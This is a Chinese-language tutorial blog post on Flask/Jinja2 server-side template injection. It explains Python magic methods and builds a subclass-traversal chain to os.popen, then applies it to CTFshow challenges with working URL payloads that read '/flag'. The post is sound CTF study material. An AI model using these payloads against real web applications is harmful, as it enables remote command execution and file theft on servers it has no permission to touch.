前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从SSTI模板注入到内存马

从SSTI模板注入到内存马

作者头像
用户2700375
发布2022-09-28 16:12:02
7010
发布2022-09-28 16:12:02
举报
文章被收录于专栏:很菜的web狗很菜的web狗

又是逃课的一天,(挂着网课来写博客)

内存马的概念经常被提到,HW面试,还是校招都有问到,之前接触不是很多,总结一波。

目前 SSTI 都是基于Flask环境下去复现的提到SSTI就必须了解一些魔术方法

image-20220910153326416
image-20220910153326416

payload

在SSTI中我们要做的就两个:

  • 执行命令
  • 获取文件内容

所以我们要做的实际上就是实现这两种效果

这里我写一个payload 可见只穿payload执行了whoami命令,那么我们要来分析一下这串payload为什么可以成功执行命令。

代码语言:javascript
复制
>>> ''.__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].popen("whoami").read()
'sch0lar\n'

魔术方法

  • __dict__:保存类实例或对象实例的属性变量键值对字典
  • __class__:返回调用的参数类型
  • __mro__:返回一个包含对象所继承的所有类,方法在解析时按照元组的顺序解析。
  • __bases__:以元组的形式返回一个类所直接继承的类。根类
  • __base__:以字符串形式返回一个类所直接继承的类。根类
  • __subclasses__:返回 type 对象方法
  • __init__:类的初始化方法 (构造方法)
  • __globals__:函数会以字典类型返回当前位置的全部全局变量

继承关系

Python万物皆对象,而class用户返回该对象所属的类,比如字符串的对象为字符串对象,所属的类为<class 'str'>

image-20220909145047665
image-20220909145047665

先使用该payload来获取某个类,这里可以获取到的是str类,实际上获取到任何类都可以,因为我们都最终目的是要获取到基类Object。

<class 'str'>类又属于 <class 'type'>

image-20220909150002179
image-20220909150002179

接下来我们可以通过bases或者mro来获取到object基类。

<class 'object'>相当于整个树的跟

image-20220909153204537
image-20220909153204537

然后可以从这个根对象下去寻找其他子类

漏洞利用

接下来我们看一下 base后的子类都有什么。

代码语言:javascript
复制
print(''.__class__.__base__.__subclasses__())
image-20220909154331900
image-20220909154331900

有点多我们统计一下长度

代码语言:javascript
复制
>>> c = ''.__class__.__base__.__subclasses__()
>>> len(c)
174

在我的环境中子类有174个,整理格式查看下子类详情如下

代码语言:javascript
复制
>>> for i in range(174):
...     print(i, c[i].__name__)
...
image-20220909205401515
image-20220909205401515

遍历查找带有warning的子类

代码语言:javascript
复制
>>> for i in range(174):
...     n = c[i].__name__
...     if n.find('warning') > -1:
...             print(i,n)
...
134 catch_warnings
>>> print(''.__class__.__base__.__subclasses__()[134])
<class 'warnings.catch_warnings'>

至于为什么找 warnings咱们后面说

image-20220909212128337
image-20220909212128337

在Python中 有了__init__方法,在调用类的时候,会首先调用__init__ 方法。

代码语言:javascript
复制
>>> ''.__class__.__base__.__subclasses__()[134].__init__.__globals__

加上__globals__ 返回当前位置所有全局变量

代码语言:javascript
复制
>>> ''.__class__.__base__.__subclasses__()[134].__init__.__globals__

把全局变量粘贴到文本文档里方便查看 发现了全局变量sys

image-20220909213445017
image-20220909213445017

到这里我们就属于一步步找到了sys模块

sys.modules 用于返回当前已导入(加载)的所有模块名和模块对象

·sys.modules具有字典所拥有的一切方法,可以通过这些方法了解当前的环境加载了哪些模块

程序在导入某个模块时,会首先查找sys.modules中是否包含此模块名,包含的话python会直接到字典中查找,从而加快了程序运行的速度,若不存在则找到后将模块加载到内存`

modules['os'] 将os加载到当前内存

代码语言:javascript
复制
>>> import sys
>>> print(sys.modules)
代码语言:javascript
复制
>>> import sys
>>> test = sys.modules["os"]
>>> test.popen("whoami")
<os._wrap_close object at 0x1036473c8>
>>> test.popen("whoami").read()
'sch0lar\n'
>>>

大致利用链是这样的,但是很多时候并不固定,不一定要找warnings.catch_warnings子类,只要子类里导入了sys os等可执行命令的模块都可以,思路都差不多

代码语言:javascript
复制
>>> ''.__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].popen("whoami").read()
'sch0lar\n'

CTFshow

演示几道CTFshow上面SSTI的题目

代码语言:javascript
复制
http://fe492b04-95e1-4b73-844c-9a3e627842fc.challenge.ctf.show/?name={{%27%27.__class__.__base__.__subclasses__()[1].__init__.__globals__}}

初步看了一下没有能直接执行命令或者获取文件内容的,接下来使用__init__.__globals__来看看有没有os module或者其他的可以读写文件的。我们抓包遍历这个1-400查找有无可进行命令执行的子类。

img
img

位置在132的子类已经导入了os模块,既然导入了os模块,我们也就可以执行命令了

查看一下子类详情

代码语言:javascript
复制
name={{%27%27.__class__.__base__.__subclasses__()[132]}}
image-20220910095918316
image-20220910095918316

发现它属于os模块,既然他是os模块里面的类那我们就不用那么麻烦了。

代码语言:javascript
复制
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
image-20220910100445218
image-20220910100445218

我们本地打开os模块看一看

image-20220910100558512
image-20220910100558512

可见也 import 了sys模块,我们也可以用如下payload

代码语言:javascript
复制
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['sys'].modules['os'].popen('cat /flag').read()}}

不过显然没这个必要。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-09-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • payload
  • 魔术方法
  • 继承关系
  • 漏洞利用
  • CTFshow
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档